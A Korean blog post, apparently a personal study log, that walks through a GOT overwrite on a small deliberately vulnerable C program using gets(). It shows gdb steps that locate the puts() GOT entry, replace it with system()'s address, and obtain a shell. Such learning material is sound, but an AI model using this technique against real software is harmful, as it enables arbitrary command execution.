ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • GOT Overwrite 공부 2
    정보보안/포너블 2018. 5. 20. 16:16

    다른 코드를 공격해보자

    http://d4m0n.tistory.com/83

    이번에는 위 링크에 있는 D4m0n님의 코드를 공격해보자. 단, GOT Overwrite는 쉬우니까 풀이를 보고 따라하지 않고 직접 풀어봐야지.

    공격할 코드

    #include <stdio.h>
    int main(void){
        char buf[20];
        gets(buf);
        puts(buf);
        return 0;
    }
    

    이번에는 VIM을 사용해서 코드를 입력했다.

    1. vim over2.c
    2. i로 insert mode 열고, 코드를 입력
    3. Esc로 command mode로 나가기
    4. :w로 문서 저장
    5. :q로 문서 닫기

    :wq로 4, 5번을 한꺼번에 할 수도 있더라.

    컴파일하기

    junhoyeo@ubuntu:~/pwn/got-overwrite$ gcc -o over2 over2.c
    over2.c: In function ‘main’:
    over2.c:4:2: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
      gets(buf);
      ^
    /tmp/ccdPkwx8.o: In function `main':
    over2.c:(.text+0x24): warning: the `gets' function is dangerous and should not be used.
    

    취약한 함수인 gets()가 사용된 코드를 컴파일하자 warning이 뜬다.

    분석

    junhoyeo@ubuntu:~/pwn/got-overwrite$ ./over2
    something
    something
    

    실행하면 gets() 함수로 문자열을 입력받고 buf에 저장한 뒤 puts() 함수로 출력한다.

    GOT Overwrite를 사용해서 puts()의 GOT 주소를 system() 함수의 주소로 변경하면 입력한 문자열을 command로서 execute하게 할 수 있을 것이다.

    그때 /bin/sh를 입력하면 shell을 취득할 수 있을 것이다.

    공격

    지난번처럼 공부해보자. 이전 예시에서는 printf()system()으로 바꿔 공격했으니 이번에는 이를 puts()에 적용하면 될 것이다.

    puts() 함수의 PLT 주소 구하기

    junhoyeo@ubuntu:~/pwn/got-overwrite$ gdb -q over2
    Reading symbols from over2...(no debugging symbols found)...done.
    (gdb) disass main
    Dump of assembler code for function main:
       0x0804848b <+0>:    lea    0x4(%esp),%ecx
       0x0804848f <+4>:    and    $0xfffffff0,%esp
       0x08048492 <+7>:    pushl  -0x4(%ecx)
       0x08048495 <+10>:    push   %ebp
       0x08048496 <+11>:    mov    %esp,%ebp
       0x08048498 <+13>:    push   %ecx
       0x08048499 <+14>:    sub    $0x24,%esp
       0x0804849c <+17>:    mov    %gs:0x14,%eax
       0x080484a2 <+23>:    mov    %eax,-0xc(%ebp)
       0x080484a5 <+26>:    xor    %eax,%eax
       0x080484a7 <+28>:    sub    $0xc,%esp
       0x080484aa <+31>:    lea    -0x20(%ebp),%eax
       0x080484ad <+34>:    push   %eax
       0x080484ae <+35>:    call   0x8048340 <gets@plt>
       0x080484b3 <+40>:    add    $0x10,%esp
       0x080484b6 <+43>:    sub    $0xc,%esp
       0x080484b9 <+46>:    lea    -0x20(%ebp),%eax
       0x080484bc <+49>:    push   %eax
       0x080484bd <+50>:    call   0x8048360 <puts@plt>
       0x080484c2 <+55>:    add    $0x10,%esp
       0x080484c5 <+58>:    mov    $0x0,%eax
       0x080484ca <+63>:    mov    -0xc(%ebp),%edx
    ---Type <return> to continue, or q <return> to quit---
       0x080484cd <+66>:    xor    %gs:0x14,%edx
       0x080484d4 <+73>:    je     0x80484db <main+80>
       0x080484d6 <+75>:    call   0x8048350 <__stack_chk_fail@plt>
       0x080484db <+80>:    mov    -0x4(%ebp),%ecx
       0x080484de <+83>:    leave  
       0x080484df <+84>:    lea    -0x4(%ecx),%esp
       0x080484e2 <+87>:    ret    
    End of assembler dump.
    

    call 0x8048360 <puts@plt>에서 puts()의 PLT 주소는 0x8048360라는 것을 알 수 있다.

    puts() 함수의 GOT 주소 구하기

    (gdb) disass 0x8048360
    Dump of assembler code for function puts@plt:
       0x08048360 <+0>:    jmp    *0x804a014
       0x08048366 <+6>:    push   $0x10
       0x0804836b <+11>:    jmp    0x8048330
    End of assembler dump.
    

    이를 이용해서 GOT 주소인 *0x804a014를 찾았다.

    system() 함수의 위치 구하기

    (gdb) b *main
    Breakpoint 1 at 0x804848b
    (gdb) r
    Starting program: /home/junhoyeo/pwn/got-overwrite/over2 
    
    Breakpoint 1, 0x0804848b in main ()
    (gdb) p system
    $1 = {<text variable, no debug info>} 0xb7e45d80 <__libc_system>
    

    breakpoint를 설정하고 프로그램을 시작한 뒤 system()의 주소를 구한다.

    puts() 함수의 GOT 값 변조하기

    (gdb) set *0x804a014 = 0xb7e45d80
    

    puts의 GOT 주소를 system() 함수의 위치로 바꾼다.

    성공

    (gdb) c
    Continuing.
    /bin/sh
    $ id
    uid=1000(junhoyeo) gid=1000(junhoyeo) groups=1000(junhoyeo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
    $ 
    

    댓글

Designed by Tistory